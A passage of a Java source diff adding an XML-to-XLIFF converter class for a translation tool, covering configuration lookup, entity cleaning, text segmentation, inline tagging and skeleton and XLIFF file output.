org.w3c.dom.CDATASection; +import org.w3c.dom.EntityReference; +import org.w3c.dom.NamedNodeMap; +import org.w3c.dom.Node; +import org.w3c.dom.ProcessingInstruction; +import org.xml.sax.SAXException; + +import com.wutka.dtd.DTD; +import com.wutka.dtd.DTDParser; + +/** + * The Class Xml2Xliff. + * @author John Zhu + */ +public class Xml2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "xml"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("xml.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XML to XLIFF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xml2XliffImpl converter = new Xml2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xml2XliffImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xml2XliffImpl { + + /** The input file. */ + private String inputFile; + + /** The xliff file. */ + private String xliffFile; + + /** The skeleton file. */ + private String skeletonFile; + + /** The source language. */ + private String sourceLanguage; + + private String targetLanguage; + + /** The src encoding. */ + private String srcEncoding; + + /** The input. */ + private FileInputStream input; + + /** The output. */ + private FileOutputStream output; + + /** The skeleton. */ + private FileOutputStream skeleton; + + /** The seg id. */ + private int segId; + + /** The tag id. */ + private int tagId; + + /** The segments. */ + private List segments; + + /** The starts segment. */ + private Hashtable startsSegment; + + /** The translatable attributes. */ + private Hashtable> translatableAttributes; + + /** The inline. */ + private Hashtable inline; + + /** The ctypes. */ + private Hashtable ctypes; + + /** The keep formating. */ + private Hashtable keepFormating; + + /** The seg by element. */ + private boolean segByElement; + + /** The segmenter. */ + private StringSegmenter segmenter; + + /** The catalogue. */ + private String catalogue; + + /** The program folder. */ + private String programFolder; + + /** The root element. */ + private String rootElement; + + /** The entities. */ + private Hashtable entities; + + /** The entities map. */ + private String entitiesMap; + + /** The root. */ + private Element root; + + /** The text. */ + private String text; + + /** The stack. */ + private Stack stack; + + /** The translatable. */ + private String translatable = ""; //$NON-NLS-1$ + + /** The in design. */ + private boolean inDesign = false; + + /** The ignore. */ + private Hashtable ignore; + + // /** The generic. */ + // private boolean generic; + + /** The in attribute. */ + private boolean inAttribute; + + /** The is resx. */ + private boolean isResx; + + /** The start text. */ + private String startText; + + /** The end text. */ + private String endText; + + /** The is suite. */ + private boolean isSuite; + + /** The qt tool id. */ + private String qtToolID; + + /** The format. */ + private String format; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + // 把转æ¢åˆ†æˆå››ä¸ªéƒ¨åˆ†ï¼šå†™ xliff 文件头,构建 tables,构建列表,处ç†åˆ—表。 + monitor.beginTask("", 4); + monitor.subTask(Messages.getString("xml.Xml2Xliff.task1")); + Map result = new HashMap(); + segId = 1; + stack = new Stack(); + + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + sourceLanguage = params.get(Converter.ATTR_SOURCE_LANGUAGE); + targetLanguage = params.get(Converter.ATTR_TARGET_LANGUAGE); + srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + catalogue = params.get(Converter.ATTR_CATALOGUE); + programFolder = params.get(Converter.ATTR_PROGRAM_FOLDER); + if (programFolder == null) { + programFolder = Converter.PROGRAM_FOLDER_DEFAULT_VALUE; + } + String elementSegmentation = params.get(Converter.ATTR_SEG_BY_ELEMENT); + String initSegmenter = params.get(Converter.ATTR_SRX); + String isInDesign = params.get(Converter.ATTR_IS_INDESIGN); + format = params.get(Converter.ATTR_FORMAT); + if (format == null || "".equals(format)) { + format = TYPE_VALUE; + } + + isSuite = false; + if (Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + if (isInDesign != null) { + inDesign = true; + } else { + inDesign = false; + } + + if (params.get(Converter.ATTR_IS_RESX) != null) { + isResx = true; + } else { + isResx = false; + } + + // 如果根æ®æ–‡ä»¶æ‰¾ä¸ç›¸åº”çš„ ini file,则自动生æˆä¸€ä¸ªã€‚ + // String isGeneric = params.get(Converter.ATTR_IS_GENERIC); + // if (isGeneric != null && isGeneric.equals(Converter.TRUE)) { + // generic = true; + // } else { + // generic = false; + // } + + try { + boolean autoConfiguration = false; + String iniFile = getIniFile(inputFile); + File f = new File(iniFile); + if (!f.exists()) { + // if (!generic) { + // ConverterUtils.throwConverterException(Activator.PLUGIN_ID, MessageFormat.format(Messages + // .getString("Xml2Xliff.10"), f.getName())); + // } + AutoConfiguration autoConfigurator = new AutoConfiguration(); + autoConfigurator.run(inputFile, f.getAbsolutePath(), catalogue); + autoConfiguration = true; + } + + if (elementSegmentation == null) { + segByElement = false; + } else { + if (Converter.TRUE.equals(elementSegmentation)) { + segByElement = true; + } else { + segByElement = false; + } + } + + if (!segByElement) { + segmenter = new StringSegmenter(initSegmenter, sourceLanguage, catalogue); + } + + String detected = getEncoding(inputFile); + if (!srcEncoding.equals(detected)) { + System.out.println("Changed encoding to " + detected); //$NON-NLS-1$ + srcEncoding = detected; + } + + input = new FileInputStream(inputFile); + skeleton = new FileOutputStream(skeletonFile); + output = new FileOutputStream(xliffFile); + writeHeader(); + monitor.worked(1); + + int size = input.available(); + byte[] array = new byte[size]; + if (size != input.read(array)) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("xml.Xml2Xliff.msg1")); + } + String file = new String(array, srcEncoding); + // remove xml declaration and doctype + int begin = file.indexOf("<" + rootElement); //$NON-NLS-1$ + if (begin != -1) { + if (file.charAt(0) == '<') { + writeSkeleton(file.substring(0, begin)); + } else { + writeSkeleton(file.substring(1, begin)); + } + file = file.substring(begin); + } + file = null; + array = null; + buildTables(iniFile, Progress.getSubMonitor(monitor, 1)); + if (autoConfiguration) { + f.delete(); + } + + buildList(Progress.getSubMonitor(monitor, 1)); + + processList(Progress.getSubMonitor(monitor, 1)); + + skeleton.close(); + writeString("\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("
    "); //$NON-NLS-1$ + input.close(); + output.close(); + + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("xml.Xml2Xliff.msg2"), e); + } finally { + monitor.done(); + } + + return result; + } + + /** + * Gets the ini file. + * @param fileName + * the file name + * @return the ini file + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws ParserConfigurationException + * the parser configuration exception + * @throws ConverterException + * the converter exception + */ + public String getIniFile(String fileName) throws SAXException, IOException, ParserConfigurationException, + ConverterException { + SAXBuilder builder = new SAXBuilder(); + Catalogue cat = new Catalogue(catalogue); + builder.setEntityResolver(cat); + /* + * set expandEntities to false if automatic inclusion of referenced documents is not desired. It is enabled + * by default, but may change later upon request. + */ + // builder.expandEntities(false); + Document doc = builder.build(fileName); + entities = new Hashtable(); + + NamedNodeMap map = doc.getEntities(); + + entitiesMap = ""; //$NON-NLS-1$ + if (map != null) { + int ents = map.getLength(); + for (int i = 0; i < ents; i++) { + Node n = map.item(i); + String value = n.getNodeValue(); + if (value == null) { + Node first = n.getFirstChild(); + if (first != null) { + value = first.getNodeValue(); + } + } + if (value != null) { + entities.put("&" + n.getNodeName() + ";", value); //$NON-NLS-1$ //$NON-NLS-2$ + } + n = null; + } + Enumeration en = entities.keys(); + while (en.hasMoreElements()) { + String key = en.nextElement(); + entitiesMap = entitiesMap + " " //$NON-NLS-1$ + + cleanEntity(entities.get(key)) + "\n"; //$NON-NLS-1$ + } + map = null; + } + // Add predefined standard entities + entities.put(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + entities.put("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + entities.put("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + entities.put("'", "'"); //$NON-NLS-1$ //$NON-NLS-2$ + entities.put(""", "\""); //$NON-NLS-1$ //$NON-NLS-2$ + + root = doc.getRootElement(); + rootElement = root.getName(); + // check for ResX before anything else + // this requires a fixed ini name + if (root.getName().equals("root")) { //$NON-NLS-1$ + List dataElements = root.getChildren("data"); //$NON-NLS-1$ + if (dataElements.size() > 0) { + for (int i = 0; i < dataElements.size(); i++) { + Element g = (dataElements.get(i)).getChild("translate"); //$NON-NLS-1$ + if (g != null) { + isResx = true; + break; + } + } + if (isResx) { + return programFolder + "ini/config_resx.xml"; //$NON-NLS-1$ + } + } + } + String pub = doc.getPublicId(); + String sys = doc.getSystemId(); + if (sys != null) { + // remove path from systemId + if (sys.indexOf("/") != -1 && sys.lastIndexOf("/") < sys.length()) { //$NON-NLS-1$ //$NON-NLS-2$ + sys = sys.substring(sys.lastIndexOf("/") + 1); //$NON-NLS-1$ + } + if (sys.indexOf("\\") != -1 && sys.lastIndexOf("/") < sys.length()) { //$NON-NLS-1$ //$NON-NLS-2$ + sys = sys.substring(sys.lastIndexOf("\\") + 1); //$NON-NLS-1$ + } + } + + Document d = builder.build(catalogue); + Element r = d.getRootElement(); + List dtds = r.getChildren("dtd"); //$NON-NLS-1$ + Iterator i = dtds.iterator(); + while (i.hasNext()) { + Element dtd = i.next(); + if (pub != null) { + if (dtd.getAttributeValue("publicId", "").equals(pub)) { //$NON-NLS-1$ //$NON-NLS-2$ + String s = getRootElement(dtd.getText()); + if (s != null) { + System.out + .println("Detected configuration file using PUBLIC ID : ini/config_" + s + ".xml"); //$NON-NLS-1$ //$NON-NLS-2$ + return programFolder + "ini/config_" + s + ".xml"; //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + if (sys != null) { + if (dtd.getAttributeValue("systemId", "").equals(sys)) { //$NON-NLS-1$ //$NON-NLS-2$ + String s = getRootElement(dtd.getText()); + if (s != null) { + System.out + .println("Detected configuration file using SYSTEM ID : ini/config_" + s + ".xml"); //$NON-NLS-1$ //$NON-NLS-2$ + return programFolder + "ini/config_" + s + ".xml"; //$NON-NLS-1$ //$NON-NLS-2$ + } + } + if (dtd.getAttributeValue("systemId", "").endsWith(sys)) { //$NON-NLS-1$ //$NON-NLS-2$ + String s = getRootElement(dtd.getText()); + if (s != null) { + System.out + .println("Detected configuration file using DTD name in SYSTEM ID : ini/config_" + s + ".xml"); //$NON-NLS-1$ //$NON-NLS-2$ + return programFolder + "ini/config_" + s + ".xml"; //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + } + + if (rootElement.indexOf(":") != -1) { //$NON-NLS-1$ + System.out.println("Detected configuration file using namespace: " //$NON-NLS-1$ + + rootElement.substring(0, rootElement.indexOf(":"))); //$NON-NLS-1$ + return programFolder + "ini/config_" //$NON-NLS-1$ + + rootElement.substring(0, rootElement.indexOf(":")) //$NON-NLS-1$ + + ".xml"; //$NON-NLS-1$ + } + + System.out.println("Detected configuration file using root element: " + rootElement); //$NON-NLS-1$ + return programFolder + "ini/config_" + rootElement + ".xml"; //$NON-NLS-1$ //$NON-NLS-2$ + + } + + /** + * Clean entity. + * @param s + * the s + * @return the string + */ + private String cleanEntity(String s) { + int control = s.indexOf("&"); //$NON-NLS-1$ + while (control != -1) { + int sc = s.indexOf(";", control); //$NON-NLS-1$ + if (sc == -1) { + // no semicolon, it's not an entity + s = s.substring(0, control) + "&" //$NON-NLS-1$ + + s.substring(control + 1); + } else { + // may be an entity + String candidate = s.substring(control, sc) + ";"; //$NON-NLS-1$ + if (!candidate.equals("&")) { //$NON-NLS-1$ + String entity = entities.get(candidate); + if (entity != null) { + s = s.substring(0, control) + entity + s.substring(sc + 1); + } else if (candidate.startsWith("&#x")) { //$NON-NLS-1$ + // it's a character in hexadecimal format + int c = Integer.parseInt(candidate.substring(3, candidate.length() - 1), 16); + s = s.substring(0, control) + (char) c + s.substring(sc + 1); + } else if (candidate.startsWith("&#")) { //$NON-NLS-1$ + // it's a character + int c = Integer.parseInt(candidate.substring(2, candidate.length() - 1)); + s = s.substring(0, control) + (char) c + s.substring(sc + 1); + } else { + s = s.substring(0, control) + "&" //$NON-NLS-1$ + + s.substring(control + 1); + } + } + } + if (control < s.length()) { + control++; + } + control = s.indexOf("&", control); //$NON-NLS-1$ + } + + control = s.indexOf("<"); //$NON-NLS-1$ + while (control != -1) { + s = s.substring(0, control) + "<" + s.substring(control + 1); //$NON-NLS-1$ + if (control < s.length()) { + control++; + } + control = s.indexOf("<", control); //$NON-NLS-1$ + } + + control = s.indexOf(">"); //$NON-NLS-1$ + while (control != -1) { + s = s.substring(0, control) + ">" + s.substring(control + 1); //$NON-NLS-1$ + if (control < s.length()) { + control++; + } + control = s.indexOf(">", control); //$NON-NLS-1$ + } + return s; + } + + /** + * Gets the root element. + * @param string + * the string + * @return the root element + * @throws ConverterException + * the converter exception + */ + private String getRootElement(String string) throws ConverterException { + String result = null; + File dtd = new File(string); + try { + DTDParser parser = new DTDParser(dtd); + DTD d = parser.parse(true); + if (d != null) { + if (d.rootElement != null) { + result = d.rootElement.getName(); + } + } + } catch (IOException e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("xml.Xml2Xliff.msg3"), e); + } + return result; + } + + /** + * Write header. + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeHeader() throws IOException { + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + if (!"".equals(targetLanguage)) { + writeString("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + writeString("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + writeString("
    \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ + String crc = ""; //$NON-NLS-1$ + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("UTF-8")) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + writeString(" \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeString(" " //$NON-NLS-1$ + + srcEncoding + "\n"); //$NON-NLS-1$ + if (!entitiesMap.equals("")) { //$NON-NLS-1$ + writeString(" \n" + entitiesMap //$NON-NLS-1$ + + " \n"); //$NON-NLS-1$ + } + writeString("
    \n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + } + + /** + * Process list. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void processList(IProgressMonitor monitor) throws IOException, SAXException { + // è®¾ç½®ä»»åŠ¡æ•°é‡ + monitor.beginTask(Messages.getString("xml.Xml2Xliff.task2"), segments.size()); + monitor.subTask(""); + for (int i = 0; i < segments.size(); i++) { + // 检查是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("xml.cancel")); + } + monitor.worked(1); + + String txt = segments.get(i); + if (txt.startsWith("" + '\u007F' + "" + '\u007F')) { //$NON-NLS-1$ //$NON-NLS-2$ + // send directly to skeleton + writeSkeleton(txt.substring(2)); + continue; + } + if (txt.startsWith("" + '\u0080')) { //$NON-NLS-1$ + inAttribute = true; + txt = txt.substring(1); + } else { + inAttribute = false; + } + if (inDesign && !txt.trim().equals("")) { //$NON-NLS-1$ + if (txt.startsWith("c_") && !txt.substring(2).trim().equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + writeSkeleton("c_"); //$NON-NLS-1$ + txt = txt.substring(2); + txt.replaceAll("~sep~", "_"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + writeSkeleton(txt); + continue; + } + } + if (segByElement) { + writeSegment(txt); + } else { + // å°†å•çº¯çš„æ ¼å¼ä¿¡æ¯æå‰å†™å…¥éª¨æž¶ä»¥å‡å°‘标记。 + int inx = txt.indexOf("?>"); + while (inDesign && txt.startsWith(""); + } + String[] segs = segmenter.segment(txt); + for (int h = 0; h < segs.length; h++) { + String seg = segs[h]; + boolean isStartWith2028 = seg.startsWith("" + '\u2028'); + boolean isStartWith2029 = seg.startsWith("" + '\u2029'); + while (isStartWith2028 || isStartWith2029) { + if (isStartWith2028) { + writeSkeleton("" + '\u2028'); //$NON-NLS-1$ + } else { + writeSkeleton("" + '\u2029'); //$NON-NLS-1$ + } + seg = seg.substring(1); + + isStartWith2028 = seg.startsWith("" + '\u2028'); + isStartWith2029 = seg.startsWith("" + '\u2029'); + } + writeSegment(seg); + } + } + } + monitor.done(); + } + + /** + * Write segment. + * @param segment + * the segment + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSegment(String segment) throws IOException, SAXException { + tagId = 0; + String restype = ""; //$NON-NLS-1$ + String tagged = addTags(segment); + if (!containsText(tagged)) { + writeSkeleton(segment); + return; + } + if (inAttribute) { + restype = " restype=\"x-attribute\""; //$NON-NLS-1$ + } + String seg = " \n" //$NON-NLS-1$ + + " " //$NON-NLS-1$ //$NON-NLS-2$ + + tagged + "\n \n"; //$NON-NLS-1$ + + writeString(tidy(seg)); + + writeSkeleton(startText + "%%%" + segId++ + "%%%\n" + endText); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * Tidy. + * @param seg + * the seg + * @return the string + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String tidy(String seg) throws SAXException, IOException { + startText = ""; //$NON-NLS-1$ + endText = ""; //$NON-NLS-1$ + List start = new ArrayList(); + List end = new ArrayList(); + List txt = new ArrayList(); + SAXBuilder b = new SAXBuilder(); + Document d = b.build(new ByteArrayInputStream(seg.getBytes("utf-8"))); //$NON-NLS-1$ + Element r = d.getRootElement(); + Element s = r.getChild("source"); //$NON-NLS-1$ + if (s.getChildren().size() == 0) { + return seg; + } + List content = s.getContent(); + int i = 0; + // skip initial tags + for (i = 0; i < content.size(); i++) { + Node n = content.get(i); + if (n.getNodeType() == Node.TEXT_NODE) { + if (!n.getNodeValue().trim().equals("")) { //$NON-NLS-1$ + // txt.add(n); + break; + } + start.add(n); + } else { + start.add(n); + } + } + // skip text nodes + for (; i < content.size(); i++) { + Node n = content.get(i); + if (n.getNodeType() != Node.TEXT_NODE) { + // end.add(n); + break; + } + txt.add(n); + } + // skip final tags + for (; i < content.size(); i++) { + Node n = content.get(i); + if (n.getNodeType() == Node.TEXT_NODE) { + if (!n.getNodeValue().trim().equals("")) { //$NON-NLS-1$ + break; + } + end.add(n); + } else { + end.add(n); + } + } + if (i == content.size()) { + // OK, tags are only at start and end + for (i = 0; i < start.size(); i++) { + Node n = start.get(i); + if (n.getNodeType() == Node.TEXT_NODE) { + startText += n.getNodeValue(); + } + if (n.getNodeType() == Node.ELEMENT_NODE) { + startText += (new Element(n).getText()).toString(); + } + } + for (i = 0; i < end.size(); i++) { + Node n = end.get(i); + if (n.getNodeType() == Node.TEXT_NODE) { + endText += n.getNodeValue(); + } + if (n.getNodeType() == Node.ELEMENT_NODE) { + endText += (new Element(n).getText()).toString(); + } + } + s.setContent(txt); + } + return r.toString(); + } + + /** + * Contains text. + * @param tagged + * the tagged + * @return true, if contains text + */ + private boolean containsText(String tagged) { + int start = tagged.indexOf(""); //$NON-NLS-1$ + while (start != -1) { + tagged = tagged.substring(0, start) + tagged.substring(end + 5); + start = tagged.indexOf(""); //$NON-NLS-1$ + } + tagged = tagged.trim(); + if (tagged.length() == 0) { + return false; + } + for (int i = 0; i < tagged.length(); i++) { + int c = tagged.charAt(i); + if ("$€£¥¢(){}0123456789%.,-â€â€‘‒—―".indexOf(c) == -1) { //$NON-NLS-1$ + return true; + } + /* + * if (c < 8192 || c > 8303) { return true; } + */ + } + return false; + } + + /** + * Normalize. + * @param string + * the string + * @return the string + */ + private String normalize(String string) { + string = string.replace('\n', ' '); + string = string.replace('\t', ' '); + string = string.replace('\r', ' '); + string = string.replace('\f', ' '); + String rs = ""; //$NON-NLS-1$ + int length = string.length(); + for (int i = 0; i < length; i++) { + char ch = string.charAt(i); + if (!Character.isSpaceChar(ch)) { + rs = rs + ch; + } else { + rs = rs + " "; //$NON-NLS-1$ + while (i < (length - 1) && Character.isSpaceChar(string.charAt(i + 1))) { + i++; + } + } + } + return rs; + } + + /** + * Adds the tags. + * @param src + * the src + * @return the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String addTags(String src) throws IOException { + String result = ""; //$NON-NLS-1$ + int start = src.indexOf("<"); //$NON-NLS-1$ + int end = src.indexOf(">"); //$NON-NLS-1$ + + while (start != -1) { + if (start > 0) { + result = result + cleanString(src.substring(0, start)); + src = src.substring(start); + start = src.indexOf("<"); //$NON-NLS-1$ + end = src.indexOf(">"); //$NON-NLS-1$ + } + String element = src.substring(start, end + 1); + // if(element.length() == 0){ + // break; + // } + String tagged = tag(element); + result = result + tagged; + + src = src.substring(end + 1); + + start = src.indexOf("<"); //$NON-NLS-1$ + end = src.indexOf(">"); //$NON-NLS-1$ + } + result = result + cleanString(src); + return result; + } + + /** + * Tag. + * @param element + * the element + * @return the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String tag(String element) throws IOException { + String result = ""; //$NON-NLS-1$ + String type = getType(element); + if (translatableAttributes.containsKey(type)) { + result = extractAttributes(type, element); + } else { + String ctype = ""; //$NON-NLS-1$ + if (ctypes.containsKey(type)) { + ctype = " ctype=\"" + ctypes.get(type) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ + } + result = "" //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + cleanString(element) + ""; //$NON-NLS-1$ + } + return result; + } + + /** + * Clean string. + * @param s + * the s + * @return the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String cleanString(String s) throws IOException { + int control = s.indexOf("&"); //$NON-NLS-1$ + while (control != -1) { + int sc = s.indexOf(";", control); //$NON-NLS-1$ + if (sc == -1) { + // no semicolon, it's not an entity + s = s.substring(0, control) + "&" //$NON-NLS-1$ + + s.substring(control + 1); + } else { + // may be an entity + String candidate = s.substring(control, sc) + ";"; //$NON-NLS-1$ + if (!candidate.equals("&")) { //$NON-NLS-1$ + String entity = entities.get(candidate); + if (entity != null) { + s = s.substring(0, control) + entity + s.substring(sc + 1); + } else { + s = s.substring(0, control) + "%%%ph id=\"" + tagId++ //$NON-NLS-1$ + + "\"%%%&" + candidate.substring(1) //$NON-NLS-1$ + + "%%%/ph%%%" + s.substring(sc + 1); //$NON-NLS-1$ + } + } + + // remarked by john. fixed a bug 1107 by john. + // } else { + // // it is an "&" + // s = s.substring(0, control) + "&" //$NON-NLS-1$ + // + s.substring(control + 1); + // } + } + if (control < s.length()) { + control++; + } + control = s.indexOf("&", control); //$NON-NLS-1$ + } + + control = s.indexOf("<"); //$NON-NLS-1$ + while (control != -1) { + s = s.substring(0, control) + "<" + s.substring(control + 1); //$NON-NLS-1$ + if (control < s.length()) { + control++; + } + control = s.indexOf("<", control); //$NON-NLS-1$ + } + + control = s.indexOf(">"); //$NON-NLS-1$ + while (control != -1) { + s = s.substring(0, control) + ">" + s.substring(control + 1); //$NON-NLS-1$ + if (control < s.length()) { + control++; + } + control = s.indexOf(">", control); //$NON-NLS-1$ + } + s = s.replaceAll("%%%/ph%%%", ""); //$NON-NLS-1$ //$NON-NLS-2$ + s = s.replaceAll("%%%ph", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + return XMLOutputter.validChars(s); + } + + /** + * Write skeleton. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSkeleton(String string) throws IOException { + skeleton.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + output.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Extract attributes. + * @param type + * the type + * @param element + * the element + * @return the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String extractAttributes(String type, String element) throws IOException { + + String ctype = ""; //$NON-NLS-1$ + if (ctypes.containsKey(type)) { + ctype = " ctype=\"" + ctypes.get(type) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ + } + String result = ""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + element = cleanString(element); + + Vector v = translatableAttributes.get(type); + + StringTokenizer tokenizer = new StringTokenizer(element, "&= \t\n\r\f/", //$NON-NLS-1$ + true); + while (tokenizer.hasMoreTokens()) { + String token = tokenizer.nextToken(); + if (!v.contains(token)) { + result = result + token; + } else { + result = result + token; + String s = tokenizer.nextToken(); + while (s.equals("=") || s.equals(" ")) { //$NON-NLS-1$ //$NON-NLS-2$ + result = result + s; + s = tokenizer.nextToken(); + } + // s contains the first word of the attribute + if (((s.startsWith("\"") && s.endsWith("\"")) || (s //$NON-NLS-1$ //$NON-NLS-2$ + .startsWith("'") && s.endsWith("'"))) //$NON-NLS-1$ //$NON-NLS-2$ + && s.length() > 1) { + // the value is one word and it is quoted + result = result + s.substring(0, 1) + "" //$NON-NLS-1$ + + s.substring(1, s.length() - 1) + "" + s.substring(s.length() - 1); //$NON-NLS-1$ + } else { + if (s.startsWith("\"") || s.startsWith("'")) { //$NON-NLS-1$ //$NON-NLS-2$ + // attribute value is quoted, but it has more than + // one + // word + String quote = s.substring(0, 1); + result = result + s.substring(0, 1) + "" //$NON-NLS-1$ + + s.substring(1); + s = tokenizer.nextToken(); + do { + result = result + s; + if (tokenizer.hasMoreElements()) { + s = tokenizer.nextToken(); + } + } while (s.indexOf(quote) == -1); + String left = s.substring(0, s.indexOf(quote)); + String right = s.substring(s.indexOf(quote)); + result = result + left + "" //$NON-NLS-1$ //$NON-NLS-2$ + + right; + } else { + // attribute is not quoted, it can only be one word + result = result + "" + s + ""; //$NON-NLS-1$ + } + } + } + } + result = result + ""; //$NON-NLS-1$ + return result; + } + + /** + * Builds the tables. + * @param iniFile + * the ini file + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws ParserConfigurationException + * the parser configuration exception + */ + private void buildTables(String iniFile, IProgressMonitor monitor) throws SAXException, IOException, + ParserConfigurationException { + + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(catalogue)); + Document doc = builder.build(iniFile); + Element rt = doc.getRootElement(); + List tags = rt.getChildren("tag"); //$NON-NLS-1$ + + startsSegment = new Hashtable(); + translatableAttributes = new Hashtable>(); + ignore = new Hashtable(); + ctypes = new Hashtable(); + keepFormating = new Hashtable(); + inline = new Hashtable(); + + // è®¾ç½®ä»»åŠ¡æ•°é‡ + int size = tags.size(); + monitor.beginTask(Messages.getString("xml.Xml2Xliff.task3"), size); + monitor.subTask(""); + + Iterator i = tags.iterator(); + while (i.hasNext()) { + // 检查å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("xml.cancel")); + } + monitor.worked(1); + + Element t = i.next(); + if (t.getAttributeValue("hard-break", "inline").equals("yes") || t.getAttributeValue("hard-break", "inline").equals("segment")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ //$NON-NLS-6$ + startsSegment.put(t.getText(), "yes"); //$NON-NLS-1$ + } else if (t.getAttributeValue("hard-break", "inline").equals("no") || t.getAttributeValue("hard-break", "inline").equals("inline")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ //$NON-NLS-6$ + inline.put(t.getText(), "yes"); //$NON-NLS-1$ + } else { + ignore.put(t.getText(), "yes"); //$NON-NLS-1$ + } + if (t.getAttributeValue("keep-format", "no").equals("yes")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + keepFormating.put(t.getText(), "yes"); //$NON-NLS-1$ + } + String attributes = t.getAttributeValue("attributes", ""); //$NON-NLS-1$ //$NON-NLS-2$ + if (!attributes.equals("")) { //$NON-NLS-1$ + StringTokenizer tokenizer = new StringTokenizer(attributes, ";"); //$NON-NLS-1$ + int count = tokenizer.countTokens(); + Vector v = new Vector(count); + for (int j = 0; j < count; j++) { + v.add(tokenizer.nextToken()); + } + translatableAttributes.put(t.getText(), v); + } + String ctype = t.getAttributeValue("ctype", ""); //$NON-NLS-1$ //$NON-NLS-2$ + if (!ctype.equals("")) { //$NON-NLS-1$ + ctypes.put(t.getText(), ctype); + } + t = null; + } + tags = null; + rt = null; + doc = null; + builder = null; + monitor.done(); + } + + /** + * Builds the list. + * @throws Exception + * the exception + */ + private void buildList(IProgressMonitor monitor) throws Exception { + monitor.beginTask(Messages.getString("xml.Xml2Xliff.task4"), IProgressMonitor.UNKNOWN); + 